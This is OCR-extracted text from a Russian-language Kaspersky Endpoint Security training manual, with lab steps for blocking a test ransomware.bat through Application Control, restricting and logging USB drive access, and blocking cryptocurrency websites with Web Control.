<ol> <li>Подождите, пока политика применится</li> </ol>	Advanced Threat Protection Essential Threat Protection	<u>Applicatic</u> This comp	n Control nent monitors users' attempts f	o start applications and contr	ols the startup of applications	by using rules.
	Security Controls Detection and Response Data Encryption	Device Co This compo Web Co This com	nent allows you to control the	connection of removable driv	es. ×	10
	Local Tasks General settings	<u>Adaptive</u> This com	Important protection con click the link in the descri Are you sure you want to	nponents are disabled (for ption of the protection lev apply these settings?	r more information, vel).	

### Задание С: Убедитесь в корректности настроек

В этом задании необходимо убедиться, что Kaspersky Endpoint Security блокирует запуск неизвестных файлов.

# kaspersky

No

Начните выполнять задание	е на компьютере <b>Alex-D</b>	esktop.
	Ale	x-Desktop
40. Войдите в систему под у паролем <b>Ка5рег5Ку</b> .	/четной записью <b>abc\Al</b> d	EX C Kaspersky Endpoint Security V X Application Control
41. Запустите программу <b>га</b> щелчком мыши	nsomware.bat двойным	Application startup prohibited The executable file ransomware.bat has been blocked from starting according to an Application Control rule.
42. Обратите внимание, что ransomware.bat, о чем сообщение	<ul> <li>KES блокирует запуск</li> <li>выводит соответствуюш</li> </ul>	LIP Information about file startup: Computer: TOM-LAPTOP User: ABC\Tom Rule that blocks file startup: Protection Cryptomalware Date and time that the file was started: 04-Apr-21 13:40:36
		Request access
43. Нажмите <b>ОК</b> , чтобы зак	рыть информационное	C:\Users\tom.ABC\Desktop\ransomware.bat X
okho windows		Windows cannot access the specified device, path, or file. You may not have the appropriate permissions to access the item.
		ОК
Переключитесь на компьют	ер <b>КSC</b> .	
		↓ ↓ KSC
44. Откройте веб-консоль	≡ m <b>4</b>	DEVICES / POLICIES & PROFILES
Center	$\frown$	
45. В боковом меню выберите <b>Devices</b> I	141	Current path: KSC
Ballaga & Brafilag	KASPERSKY SECURITY CENTER	Current path: KSC + Add ♂ Refresh list ۞ Show in group ℃ Copy ↔ Move × Delete   Distribution Stat. >> Policy name Application
Polices & Profiles		Current path: KSC          + Add       C Refresh list       Show in group       Copy       Move       X Delete       Distribution         Stat_ >>       Policy name       Application         Kaspersky Endpoint Security for Windows (116.0)
Polices & Profiles           46. Откройте политику           Kaspersky Endpoint	KASPERSKY SECURITY CENTER	Current path: KSC         + Add          G Refresh list          Show in group         Copy           Move         × Delete         Copy           Move         × Delete         Copy          Stat
Polices & Profiles           46. Откройте политику           Kaspersky Endpoint           Security for Windows	KASPERSKY SECURITY CENTER	Current path: KSC            + Add
Polices & Profiles 46. Откройте политику Kaspersky Endpoint Security for Windows	KASPERSKY SECURITY CENTER	Current path: KSC
Polices & Profiles         46. Откройте политику Kaspersky Endpoint Security for Windows         47. Перейдите на вкладку Application Sottings	KASPERSKY SECURITY CENTER	Current path: KSC
Polices & Profiles         46. Откройте политику Kaspersky Endpoint Security for Windows         47. Перейдите на вкладку Application Settings         48. Перейлите в раздел	KASPERSKY         SECURITY CENTER         KSC         MONITORING & REPORTING         DEVICES         POLICIES & PROFILES         Kaspersky Endpoint Security for Window         Low protection level. Important protection	Current path: KSC
Polices & Profiles         46. Откройте политику Kaspersky Endpoint Security for Windows         47. Перейдите на вкладку Application Settings         48. Перейдите в раздел Security Controls	KASPERSKY         SECURITY CENTER         KSC         MONITORING & REPORTING         DEVICES         POLICIES & PROFILES         Kaspersky Endpoint Security for Window         Low protection level. Important prot         GENERAL       EVENT CONFIGURATION	Current path: KSC
Polices & Profiles         46. Откройте политику Kaspersky Endpoint Security for Windows         47. Перейдите на вкладку Application Settings         48. Перейдите в раздел Security Controls         49. Выберите компонент Application Control	KASPERSKY         SECURITY CENTER         KSC         MONITORING & REPORTING         DEVICES         POLICIES & PROFILES         Kaspersky Endpoint Security for Window         Low protection level. Important prot         GENERAL       EVENT CONFIGURATION         Advanced Threat Protection	Current path: KSC
Polices & Profiles         46. Откройте политику Kaspersky Endpoint Security for Windows         47. Перейдите на вкладку Application Settings         48. Перейдите в раздел Security Controls         49. Выберите компонент Application Control	KASPERSKY         SECURITY CENTER         KSC         MONITORING & REPORTING         DEVICES         POLICIES & PROFILES         Kaspersky Endpoint Security for Window         Low protection level. Important prot         GENERAL       EVENT CONFIGURATION         Advanced Threat Protection         Essential Threat Protection         Security Controls	Current path: KSC            + Add
Polices & Profiles         46. Откройте политику Kaspersky Endpoint Security for Windows         47. Перейдите на вкладку Application Settings         48. Перейдите в раздел Security Controls         49. Выберите компонент Application Control	KASPERSKY         SECURITY CENTER         KSC         MONITORING & REPORTING         DEVICES         POLICIES & PROFILES         Kaspersky Endpoint Security for Window         Low protection level. Important prot         GENERAL       EVENT CONFIGURATION         Advanced Threat Protection         Essential Threat Protection         Security Controls         Detection and Response	Current path: KSC
Polices & Profiles         46. Откройте политику Kaspersky Endpoint Security for Windows         47. Перейдите на вкладку Application Settings         48. Перейдите в раздел Security Controls         49. Выберите компонент Application Control	KASPERSKY SECURITY CENTER  KASPERSKY SECURITY CENTER  KSC MONITORING & REPORTING  MONITORICS  Detection and Response Data Encryption	Current path: KSC

# 50. Отключите компонент Контроль программ

- 51. Нажмите ОК
- 52. Сохраните политику: нажмите **ОК**
- 53. Подождите, пока политика применится

Application Control	A Enforce
ppieddor condor	
Application Control ENABLED This component monitors users' attempts to start applications and controls the startup of applications by using rules.	
Application Control Settings	🔒 Enforce 🌘
Kaspersky Endpoint Security for Windows blocks startup of applications that are blocked by Application Control settings.	
Asspersky Endpoint Security for Windows does not block startup of applications that could be blocked by Application Control settings, but logs information about it in the report (Test mode).	
<u>View report</u>	
Application Control Mode	
1 Denylist mode, Application Control allows all users to start any applications except for those listed in the Application Control blocking rules iontrol blocks all users from starting any applications except for those listed in the Application Control allowing rules.	s. In Allowlist mode, Application
Denylist	
) Allowlist	
rules Lists Settings Denylist and Allowlist Rules Settings	
\dvanced settings	
Control DLL modules load (significantly increases the load on the system)	
Aessage templates	🔒 Enforce
Message about blocking Message to administrator	
emplate message text that is displayed when an application is blocked from starting.	
+ Add variable $+$ Add link $ imes$ Reset	

### Заключение

В этой лабораторной рассмотрен один из вариантов контроля запуска новых файлов в сети, а также наиболее быстрый вариант блокирования запуска этих файлов.

# Лабораторная работа 16. Как запретить доступ к флешкам

Сценарий. В ходе анализа инцидентов выяснилось, что многие компьютеры инфицируются с флешек. Было принято решение заблокировать этот путь проникновения вредоносных объектов. Ваша задача — заблокировать доступ к флешкам при помощи Kaspersky Endpoint Security для всех рабочих станций сети ABC.

Содержание. В этой лабораторной работе:

- 1. Настройте блокировку доступа к флешкам
- 2. Проверьте блокировку флеш-накопителей
- 3. Проверьте получение запроса от пользователя

### Задание А: Настройте блокировку доступа к флешкам

В этом задании мы посмотрим, где в политике настраивается блокировка доступа к флешкам.



- 1. Войдите в систему под учетной записью **abc\Tom**. Пароль **Ka5per5Ky**
- 2. Подключите флешку с материалами курса к хост-компьютеру
- В меню VMware Workstation нажмите VM, Removable Devices, <тип вашего носителя>, Connect (Disconnect from Host)
- 4. На компьютере **Tom-**Laptop, нажмите Start, Computer
- 5. Убедитесь, что флешка успешно подключилась



#### Переключитесь на компьютер КSC.



- Откройте вебконсоль Kaspersky Security Center
- В боковом меню выберите
   Devices | Policies & Profiles
- Откройте политику
   Kaspersky
   Endpoint
   Security for
   Windows
- Перейдите на вкладку Application Settings
- 10. Перейдите в раздел Security Controls
- 11. Выберите компонент Device Control
- 12. Пройдите по ссылке Access rules for devices and Wi-Fi networks

≡ m ⊄	DEVICES / POLICIES & PROFILES	
KASPERSKY	Current path: KSC + Add ∂ Refresh list ⊗ Show in group Copy ⊕ Move	🗙 Delete 🛛 🚯 Distribution
SECURITY CENTER	Stat >> Policy name	Application
⊟KSC ≯>	Kaspersky Endpoint Security for Windows (11.6.0)	
· · · · · · · ·	Kaspersky Endpoint Security for Windows (11.6.0)	Kaspersky Endpoint Security
▲ MONITORING & REPORTING >	Kaspersky Security 11 for Windows Server	
E DEVICES V	O     Default protection for Kaspersky Security 11 for Window	s >> Kaspersky Security 11 for Wi
POLICIES & PROFILES	Kaspersky Security Center 13 Network Agent	

Kaspersky Endpoint Security for Windov	vs (11.6.0)
U Low protection level. Important protection	ction components are disabled. <u>Learn more</u>
GENERAL EVENT CONFIGURATION	APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES
Advanced Threat Protection Essential Threat Protection Security Controls	Application Control This component monitors users' attempts to start applications and controls the startup of applications by using rules. Device Control
Detection and Response	This component allows you to control the connection of removable drives.
Device Control	е ш

Device Control	🔒 Enforce 🧲
Device Control ENABLED     This component allows you to control the connection of removable drives.	
Device Control Settings	🔒 Enforce (
Allow requests for temporary access	
Access rules for devices and Wi-Fi networks Access to the types of devices	
Connection buses Connection bus access rules	
Trusted devices	

- 13. Пройдите по ссылке *Removable drives*
- 14. Обратите внимание, что параметр предоставления доступа к устройству находится в режиме Depends on connection bus
- 15. В параметре Access выберите *Block*
- 16. Нажмите **ОК**

 Types of devices

 Access To Storage Devices

 Name
 Access

 Hard drives
 Depends on connection bus

 Removable drives
 Depends on connection bus

 Floppy disks
 Depends on connection bus

 CD/DVD drives
 Depends on connection bus

 Portable devices (MTP)
 Depends on connection bus

Device Control Settings					1
Device Access Rules Logging					
Configuring device access rule					
Access Allow Block Depends on connection bus Restrict by rules					
Users' rights					
+ Add ∥ Edit × Delete					
Priority	Access schedule	Users' rights	Enabled	Read	Write
	Default schedule	Everyone			

- Проверьте, что параметр доступа к
   Removable drives находится в Block режиме
- 18. Нажмите ОК
- 19. Сохраните политику: нажмите **ОК**
- 20. Подождите, пока политика применится

0	Types of devices	
	Access To Storage Devices	
	Name	Access
	Hard drives	Depends on connection bus
	Removable drives	Block
	Floppy disks	Depends on connection bus
	CD/DVD drives	Depends on connection bus
	Portable devices (MTP)	Depends on connection bus

### Задание В: Проверьте блокировку флеш-накопителей

В этом задании мы попытаемся получить доступ к уже подключенному в компьютер устройству.



### Задание С: Проверьте получение запроса от пользователя

В этом задании мы получим запрос от пользователя на предоставление доступа к флеш-накопителю.

Задание выполняетс	ся на компьютере <b>КSC</b> .			
	KS			
<ul> <li>29. Откройте веб- консоль Kaspersky Security Center</li> <li>30. В боковом меню в иборито</li> </ul>		MONITORING & R Selection + Add  Properties Selection name User requests	REPORTING / EVENT SE	LECTIONS × Delete Selection type Predefined selection
Monitoring & Reporting   Event Selections 31. Нажмите User requests	▲ MONITORING & REPORTING ↓ DASHBOARD REPORTS EVENT SELECTIONS	Recent events       Critical events       Functional failures       Warnings       Info events		Predefined selection Predefined selection Predefined selection Predefined selection Predefined selection
32. Ознакомьтесь с содержимым запроса	<ul> <li>Result of User requests on 04/07/2021 6:03:35 pm</li> <li>Refresh list × Delete © Export to file @ Assign to ca</li> <li>Event occurred 1</li> <li>04/07/2021 6:02:45 pm</li> </ul>	tegory Eg Revision history Eg Ex Device TOM-LAPTOP	clude from Adaptive Anomaly Control Event Device access blockage message to administrator	Q       Search         Description       Image: Comparison of the device Generic Flash Disk USB Device that has been blocked according to the device access rule.         Device parameters:       Device the device access rule.         Device type: Removable drives Device name: Flash Disk USB Device the device access rule.       Device type: Removable drives Device name: Ceneric Flash Disk USB Device the device access rule.         Device parameters:       Device parameters: Device parameters: Device name: Ceneric Flash Disk USB Device the device access rule.         Device parameters:       Device name: Ceneric Flash Disk USB Device the device access rule.         Device parameters:       Device the device access rule.         Device type: Removable drives Device the device access rule.       Device the device access rule.         Device type: Removable drives Device the device access rule.       Device the device access rule.         Device type: Removable drives Device the device the device access rule.       Device the device access rule.         Device type: Removable drives Device the device

### Заключение

В этой лабораторной работе был рассмотрен функционал блокировки доступа к устройствам. Доступ разрешается или блокируется полностью. Типичные сценарии использования этого функционала — блокирование сменных носителей информации, через которые могут распространяться вредоносные программы, или блокирование устройств передачи данных, чтобы снизить вероятность утечки информации.

# Лабораторная работа 17. <mark>Как настроить права доступа к флешкам</mark>

Сценарий. Вы запретили доступ к флешкам по всей компании. Однако это оказалось слишком суровой мерой, ведь некоторым пользователям флешки нужны для работы. В компании принято решение разрешить всем пользователям использовать зашифрованные флешки.

Вам требуется разрешить пользователям читать и копировать файлы с любых флешек, добавить зашифрованные флешки в доверенные устройства, разрешить к ним полный доступ пользователям домена и включить запись операций с файлами для флешек в журнал.

Содержание. В этой лабораторной работе:

- 1. Запретите писать на флешки всем пользователям
- 2. Разрешите пользователям домена писать на доверенные флешки

### Задание А: Запретите писать на флешки всем пользователям

Отройте настройки Контроля устройств в политике Kaspersky Endpoint Security. Сделайте так, чтобы пользователи (Everyone) могли только читать файлы со сменных носителей.

Компьютеры KSC, DC, Alex-Desktop и Tom-Laptop должны 6	быть включены.
	op Alex-Desktop
Начните выполнять задание на компьютере <b>Tom-Laptop</b> .	
Tom-Laptop	
1. Войдите в систему под учетной записью abc\Tom. Пароль — Ka5per5Ky	× Close Tab Power > Control Co
2. Подключите флешку с материалами курса к хост-компьютеру	Pause         Image: Connect (Disconnect from Host)         Connect (Disconnect from Host)           Send Cut-Alt-Del         Alsor Micro Mass Storage         Connect (Disconnect from Host)           Grab Input         Realtek USB (0/1000/1000 LAN >)         Change con           Grab Input         Realtek USB (0/1000 LAN >)         Image: Change con
3. В меню VMware Workstation нажмите VM, Removable Devices, <тип вашего носителя>, Connect (Disconnect from Host)	Augure Screen     Realtek Integrated_Webcam_HD       Agarue Screen     Intel(R) Wireless Bluetooth(R)       Reinstall VMware Tools     Broadcom 5880
<ul> <li>На компьютере</li> <li>Tom-Laptop,</li> <li>нажмите Start,</li> <li>Computer</li> </ul>	Image: Instructure       This PC       Image: Image
5. Убедитесь, что флешка успешно подключилась	<ul> <li>Cuick access</li> <li>Cuick access</li> <li>Cond Disk (C.)</li> <li>DVD Drive (D.)</li> <li>DVD Drive (D.)</li> <li>USB Drive (E:)</li> <li>USB Drive (E:)</li> <li>Vetwork locations (1)</li> <li>Thems</li> </ul>

Переключитесь на компьютер КSC.



- 6. Откройте веб-консоль Kaspersky Security Center
- В боковом меню выберите
   Devices | Policies & Profiles
- Откройте политику
   Kaspersky
   Endpoint
   Security for
   Windows
- Перейдите на вкладку Application Setting
- 10. Перейдите в раздел Security Controls
- 11. Выберите компонент Device Control
- 12. Пройдите по ссылке *Access rules for devices and Wi-Fi networks*

≡ m <b>4</b>	DEVICES / POLICIES & PROFILES	
KASPERSKY	Current path: KSC + Add & Refresh list & Show in group Copy + Move	× Delete & Distribution Q
SECURITY CENTER	Stat >> Policy name	Application
⊟ KSC 🎤 >	Kaspersky Endpoint Security for Windows (11.6.0)	
· · · · · · · · · · · · · · · · · · ·	State         State         Kaspersky Endpoint Security for Windows (11.6.0)	Kaspersky Endpoint Security for >>
▲ MONITORING & REPORTING >	Kaspersky Security 11 for Windows Server	
Te DEVICES 🗸	O     Default protection for Kaspersky Security 11 for Window	<u>vs</u> >> Kaspersky Security 11 for Windo >>
POLICIES & PROFILES	Kaspersky Security Center 13 Network Agent	

Kaspersky Endpoint Security for Window	ws (11.6.0)
Low protection level. Important prote	ection components are disabled. Learn more
GENERAL EVENT CONFIGURATION	APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES
Advanced Threat Protection Essential Threat Protection	Application Control This component monitors users' attempts to start applications and controls the startup of applications by using rules.
Security Controls	Device Control
Detection and Response	This component allows you to control the connection of removable drives.

হ	) Device Control	2	m
	Device Control	🔒 Enforce	
	Device Control ENABLED This component allows you to control the connection of removable drives.		
	Device Control Settings	A Enforce	
	Allow requests for temporary access		
	Access rules for devices and Wi-Fi networks Access to the types of devices		
	Connection buses Connection bus access rules		
	Trusted devices List of devices, access to which is always allowed		

Лабораторная работа 17. Как настроить права доступа к флешкам

13.	Пройдите по
	ссылке
	Removable
	drives

14. Обратите внимание, что параметр предоставления доступа к устройству находится в Block режиме

Name	Access
Hard drives	Depends on connection bus
Removable drives	Block
<u>Floppy disks</u>	Depends on connection bus
CD/DVD drives	Depends on connection bus
Portable devices (MTP)	Depends on connection bus
	Access
Printers	Access Depends on connectic
Printers Modems	Depends on connection
Printers Modems Tape devices	Depends on connection Depends on connection Depends on connection Depends on connection
Printers Modems Tape devices Multifunctional devices	Depends on connection Depends on connection Depends on connection Depends on connection Depends on connection
Printers Modems Tape devices Multifunctional devices Smart card readers	Access         Depends on connection
Printers Modems Tape devices Multifunctional devices Smart card readers Windows CE USB ActiveSync devices	Access Depends on connection Depends on conn

Types of devices

- 15. Запретите пользователям писать на сменные носители: снимите отметку с параметра Write и нажмите OK
- Сохраните политику и дождитесь её применения

Device Control Settings					2
Device Access Rules Logging					
Configuring device access rule					
Access					
Allow					
O Block					
<ul> <li>Depends on connection bus</li> </ul>					
<ul> <li>Restrict by rules</li> </ul>					
Users' rights					
+ Add ∥ Edit × Delete					
Priority	Access schedule	Users' rights	Enabled	Read	Write
0	Default schedule	Everyone			

- 17. Зайдите на флешку
- 18. Скопируйте с флешки любой файл на рабочий стол
- 19. Попытайтесь скопировать файл обратно на флешку
- 20. Убедитесь, что Kaspersky Endpoint Security не дает записывать на флешку

Kaspersky Endpoint Security Device Control

#### Operation with the device prohibited

Access to the device or the operation Read with the device Removable drives has been blocked according to the device access rule. If you consider the blocking to be mistaken, contact the administrator of the local corporate network.

Request temporary access Request access

~ X

21. Закройте информационное окно Windows



### Задание В: Разрешите пользователям домена записывать файлы на доверенные флешки

Отройте настройки Контроля устройств в политике Kaspersky Endpoint Security. Сделайте сменный носитель доверенным для группы Domain users. Включите регистрировать в журнале события, когда пользователи записывают файлы на флешки.

Начните выполнять зад	цание на компьютере <b>КSC</b>		
		KSC	
22. Откройте веб- консоль Kaspersky Security Center		DEVICES / POLICIES & PROFILES	
23. В боковом меню выберите	KASPERSKY SECURITY CENTER	+ Add <i>Q</i> : Refresh list            Stat >>            Policy name	ove × Delete   Distribution  Application
Devices   Bolicios 8	⊟KSC ≁ >	Kaspersky Endpoint Security for Windows (11.6.0)	
Profiles		O         Kaspersky Endpoint Security for Windows (11.6.0)	Kaspersky Endpoint Security for
24 <b>От</b> иройте		Kaspersky Security 11 for Windows Server	
политику	Te DEVICES 🗸	Default protection for Kaspersky Security 11 for Wine	dows >> Kaspersky Security 11 for Windo
Kaspersky Endpoint	POLICIES & PROFILES	Kaspersky Security Center 13 Network Agent	

25. Перейдите на вкладку Application Settings

Security for Windows

- 26. Перейдите в раздел Security Controls
- 27. Выберите компонент Device Control

Kaspersky Endpoint Security for Windows (11.6.0)					
Low protection level. Important protection components are disabled. Learn more					
GENERAL EVENT CONFIGURATION APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES					
Advanced Threat Protection Essential Threat Protection	Application Control This component monitors users' attempts to start applications and controls the startup of applications by using rules.				
Security Controls Detection and Response	Device Control This component allows you to control the connection of removable drives.				

28. Пройдите по ссылке А rules for devices a Fi netwo

28. Проидите по ссылке Access rules for devices and Wi- Fi networks	Device Control	🛆 Enforce 💽
	Device Control Settings         Illow requests for temporary access         Access rules for devices and Wi-Fi networks         Access to the types of devices         Connection buses         Connection bus access rules         Trusted devices         Lat of devices, access to which is always allowed	🛆 Enforce 🇨
29. Пройдите по ссылке <i>Removable</i> <i>drives</i>	Types of devices      Access To Storage Devices      Name     Access     Hard drives     Depends on connection I     Removable drives     Block      Eloppy_disks     Depends on connection I     CD/DVD drives     Depends on connection I     Portable devices (MTP)     Depends on connection I	bus bus bus
30. Перейдите на вкладку <b>Logging</b>	<ul> <li>Device Control Settings</li> <li>Device Access Rules</li> <li>Logging</li> </ul>	
31. Включите ведение журнала (Logging ENABLED)	Logging C Logging ENABLED This function lets you monitor information about operations on files located on removable drives.	
32. С помощью кнопки <b>Add</b> внизу окна добавьте группу пользователей	File operations         Delete         Write         Filter on file formats         All formats         If the check box is selected, more space is required to store messages in the database         Text files         Video files         Audio files         Graphic files         Executable files         Office files         Archives         Other formats	
	+ Add × Delete	
	No data	

- 33. Введите Select user or group everyone и нажмите на Q every Device Access Rules Logging иконку лупы Save information about all files 34. Выберите • Everyone If the check box is selected, more space is required to store messages in the database группу Text files Everyone Video files CANCEL SELECT Audio files 35. Нажмите Select O Device Control Settings 36. Нажмите **ОК** Device Access Rules Logging Logging ENABLED File operations Delete 🗹 Write Filter on file formats All formats If the check box is selected, more space is required to store messages in the database Text files Video files Audio files Graphic files Executable files Office files Database files Archives Other formats Users
  - Users

    + Add × Delete
    Users
    Users
    Everyone
- 37. Пройдите по ссылке *Trusted devices*

Device Control						A	Enforce
Device Control ENABLE This component allows you	ED u to control the connection of removabl	e drives.					
Device Control Settings						A	Enforce
<ul> <li>Allow requests for temp</li> </ul>	orary access						
Access rules for devices and Access to the types of devices	Wi-Fi networks						
Connection buses Connection bus access rules							
Connection buses Connection bus access rules Trusted devices List of devices, access to which is	always allowed						
Connection buses Connection bus access rules Trusted devices List of devices, access to which is	always allowed						
Connection buses Connection bus access rules Trusted devices List of devices, access to which is Trusted devices	always allowed						
Connection buses Connection bus access rules Trusted devices List of devices, access to which is Trusted devices	always allowed						
Connection buses Connection bus access rules Insted devices List of devices, access to which is Trusted devices Merge values when ir + Add device by ID	always allowed	+ Add device by ID mask	+ Add device by	model mask	✓ Edit	× Delete	ter in
Connection buses Connection bus access rules Trusted devices List of devices, access to which is Trusted devices Merge values when ir + Add device by ID # Export	always allowed	+ Add device by ID mask	+ Add device by	model mask	✓ Edit	× Delete	ţ≞ Im

# kaspersky

 Сделайте сменный носитель доверенным: нажмите Add device by ID

#### 39. Из списка устройств выберите Generic Flash Disk USB Device

40. Нажмите Next

dd trust	ed devices		(P) (
			ậ≣ Filter
	Name	Device ID	
	VMware Virtual disk SCSI Disk Device	SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1982005&0&000000	
	Generic Flash Disk USB Device	USBSTOR\DISK&VEN_GENERIC&PROD_FLASH_DISK&REV_8.07\072E0AD0&0	
	Generic Flash Disk USB Device	USBSTOR\DISK&VEN_GENERIC&PROD_FLASH_DISK&REV_8.07\83F19E80&0	
	NECVMWar VMware IDE CDR00 ATA Device	IDE\CDROMNECVMWAR_VMWARE_IDE_CDR001.00\562EBA49608	90.0.0
	Intel(R) 82574L Gigabit Network Connection	PCI\VEN_80866DEV_10D365UBSYS_07D015AD6REV_00\005056FFFFA3646E00	
	Teredo Tunneling Pseudo-Interface	SWD\IP_TUNNEL_VBUS\TEREDO_TUNNEL_DEVICE	
	VMware Virtual disk SCSI Disk Device	SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000	
	NECVMWar VMware IDE CDR00 ATA Device	IDE\CDROMNECVMWAR_VMWARE_IDE_CDR001.00\5&27BF9D6B	9090.00
	NECVMWar VMware IDE CDR10 ATA Device	IDE\CDROMNECVMWAR_VMWARE_IDE_CDR101.00\563A794E108	081.0.0
	vmxnet3 Ethernet Adapter	PCI/VEN_15AD&DEV_07B0&SUBSYS_07B015AD&REV_01/FF565000CE0AA3FE00	
	Intel(R) PRO/1000 MT Network Connection	PCI\VEN_80866DEV_100F6SUBSYS_075015AD6REV_01\463AD87E0A6060888	
	VMware Virtual disk SCSI Disk Device	SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000	
	Generic Flash Disk USB Device	USBSTOR\DISK&VEN_GENERIC&PROD_FLASH_DISK&REV_8.07\87431817&0	

# 4

		VMware Virtual disk SCSI Disk Device	SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC5	1BF7&0&00000
		Generic Flash Disk USB Device	USBSTOR\DISK&VEN_GENERIC&PROD_FLASH_DISK&REV.	.8.07\87431817&0
41.	Укажите группу Domain Users	Add trusted devices	Select user or g	oup
42.	Нажмите Next	Select users who are subject to the rule	Sers ABC\Don	nain Guests
		+ Add $ imes$ Delete	ABC\Don	nain Users
		User	ABC\Ente	rprise Admins
			NO data O ABC\Ente	rprise Key Admins
			⊖ ABC\Ente	rprise Read-only Domain Controllers
		Select users	O ABC\Ever	it Log Readers
43.		Step 3 Comm	3. Add comment ent nent text	
44.	Убедитесь, что устройство стапо	Trusted devices		ш <mark>(</mark> Э ш
	доверенным для группы пользователей	+ Add device by ID + Add device by model	+ Add device by ID mask + Add device by model mask //	Edit X Delete 🚑 Import
	Domain Users	Device type     Device model     Device	ID	Name Users
45.	Нажмите <b>ОК</b>	Removable drives - USBST0	OR\DISK&VEN_GENERIC&PROD_FLASH_DISK&REV_8.07\874318178	0 Generic Flash Disk USB Device ABC\D



54. Скопируйте файл invoice.txt с рабочего стола на флешку



#### 55. Убедитесь, что Kaspersky Endpoint Security позволяет записывать файлы на доверенное устройство

Переключитесь на компьютер	KSC.			
	K	↓ ↓ sc		
56. Откройте веб-консоль Kaspersky Security Center		MONITORING & REPORTIN	G / REPORTS	ivervitask
57. В боковом меню выберите <b>Monitoring &amp;</b> <b>Reporting   Reports</b>	KASPERSKY SECURITY CENTER	Name      Protection status	Type	Scope Description
58. Нажмите Report on file operations on removable drives	KSC     Image: SC       MONITORING & REPORTING     Image: SC       DASHBOARD     Image: SC       EVENT SELECTIONS     Image: SC       NOTIFICATIONS	Report on protection status         Threat statistics         Monthly report on most heavily >>         Weekly report on most heavily >>         Other         Report on file operations on removable drives	Report on protectio >> Report on most hea >> Report on most hea >> Report on file opera >>	Protection status This report protection status This report protection statistics This report lise Threat statistics This report lise Other This report protection of the Prot
59. Перейдите на вкладку <b>Details</b>	Report on file operations on removable drives			р ш
60. Проверьте, что отчет показывает, что пользователь <b>ABC\Tom</b> записал на сменный диск файл <b>invoice.txt</b>	Edit     Exercision       Summary     Details       Details 1 of 1       Search       Virtual Administration Server     Group name	Device name Time TON-LAPTOP Thursday Anni 8, 2021 10:15:33 AM	Operation type Path to f	ile Account name Removable drive seri

#### Заключение

В этой лабораторной были рассмотрены возможности разграничения прав доступа пользователей к флешкам, а также возможность исключать отдельные типы флешек из-под действий ограничений. В компании всегда может существовать ряд пользователей, например, секретари, которым необходимо получать данные с флешек, модель, а тем более серийный номер, которых заранее не известен.

Администраторы, обычно имеют ограниченное количество флешек, модель или серийный номер которых известен. Эти флешки, можно вывести из-под действия ограничений. Рассмотренный механизм исключения, достаточно гибкий и позволяет не только исключать определенные флешки, но и настраивать пользователей и/или группы пользователей, для которых будет действовать это исключение.

## Лабораторная работа 18. Как настроить контроль доступа к веб-ресурсам

Сценарий. В ходе анализа интернет-трафика компании выяснилось, что многие пользователи посещают сайты бирж криптовалют в рабочее время. Вы хотите запретить им это делать. Ваша задача — заблокировать доступ к биржам криптовалют при помощи политики

Содержание. В этой лабораторной работе:

- Создайте правило блокировки доступа к биржам криптовалют
   Проверьте работоспособность блокировки доступа к биржам криптовалют
   Проверьте отчеты Kaspersky Security Center

### Задание А: Создайте правило блокировки ресурсов криптовалют

В этом задании нужно включить в политике блокировку доступа к сайтам криптовалют всем пользователям в рабочее время.

Ко	Компьютеры KSC, DC, Alex-Desktop и Tom-Laptop должны быть включены.					
20			Tom-Laptop Alex-Desktop			
Ja	цание выполняется на ког					
			und the second			
1.	Откройте веб-консоль Kaspersky Security Center		DEVICES / POLICIES & PROFILES Current path: KSC			
2.	Перейдите на страницу <b>Devices  </b> Polices & Profiles	KASPERSKY SECURITY CENTER	+ Add			
3.	Откройте политику Kaspersky Endpoint Security for Windows	Image: KSC       Image: KSC </th <th>Kaspersky Endpoint Security for Windows (11.6.0)         Kaspersky Endpoint Security for Windows (11.6.0)         Kaspersky Security 11 for Windows Server         Default protection for Kaspersky Security 11 for Windows &gt;&gt;         Kaspersky Security Center 13 Network Agent</th>	Kaspersky Endpoint Security for Windows (11.6.0)         Kaspersky Endpoint Security for Windows (11.6.0)         Kaspersky Security 11 for Windows Server         Default protection for Kaspersky Security 11 for Windows >>         Kaspersky Security Center 13 Network Agent			
4.	Перейдите на вкладку Application Settings	Kaspersky Endpoint Security for Windo	ws (1160)			
5.	Перейдите в раздел Security Controls	GENERAL EVENT CONFIGURATION	APPLICATION SETTINGS REVISION HISTORY POLICY PROFILES			
6.	Выберите компонент Web Control	Advanced Threat Protection Essential Threat Protection	Application Control This component monitors users' attempts to start applications and controls the startup of applications by using rules.			
		Security Controls Detection and Response	Device Control This component allows you to control the connection of removable drives.			
		Data Encryption Local Tasks	Web Control This component allows you to control access to web resources depending on their content and location.			

7. Нажмите Add



Nule

Rule name

Status

Active

Inactive
Action
Allow
Block
Warn
Filter type

Cryptocurrencies

By content categories

- 8. В поле **Rule name** введите *Cryptocurrencies*
- 9. В поле Действие выберите **Block**
- 10. Пройдите по ссылке Content Categories

- 11. В списке Content Categories | Online stores, banks, payment systems выберите Cryptocurrencies, mining
- 12. Нажмите ОК

<u>content eategones</u>			
Rule		- File sharing	
		Audio, video	
Rule name		<ul> <li>Gambling, lotteries, sweepstakes</li> </ul>	
Cryptocurrencies		✓ □ Internet communication	
Change		Web-based mail	
Active		Social networks	
<ul> <li>Inactive</li> </ul>		Chats, forums, IM	
Action		Blogs	
Allow		Dating sites	
O Warn			
Filter type			
By content categories			
By types of data		Banks	
Content categories		Payment systems	
Types of data		Cryptocurrencies, mining	
Addresses			
Apply to all addresses		Religions, religious associations	
<ul> <li>Apply to individual addresses and/or groups</li> </ul>		News media	
		Banners	
Address		✓ □ Forbidden by regional laws	
	No data	Forbidden by Russian Federation laws	
		Forbidden by laws of Belgium	
Users		Forbidden by Police of Japan	

- 13. Выберите параметр Apply to individual users and / or groups
- 14. Нажмите Add

15. В строке поиска введите **everyone** 

17. Нажмите Select

соответствующую

16. Выберите

группу

Rule			· · · ·
O Warn			
Filter type			
By content categories			
By types of data			
Content categories			
<u>ypes of data</u>			
ddresses			
Apply to all addresses			
<ul> <li>Apply to individual addresses and/or groups</li> </ul>			
L Add			
+ Add // Edit / Delete			
Address			
	No data		
Jsers			
Apply to all users			
Apply to individual users and / or groups			
+ Add $\times$ Delete			
User or group			
	Ma data		
	INO data		
Pulo			×
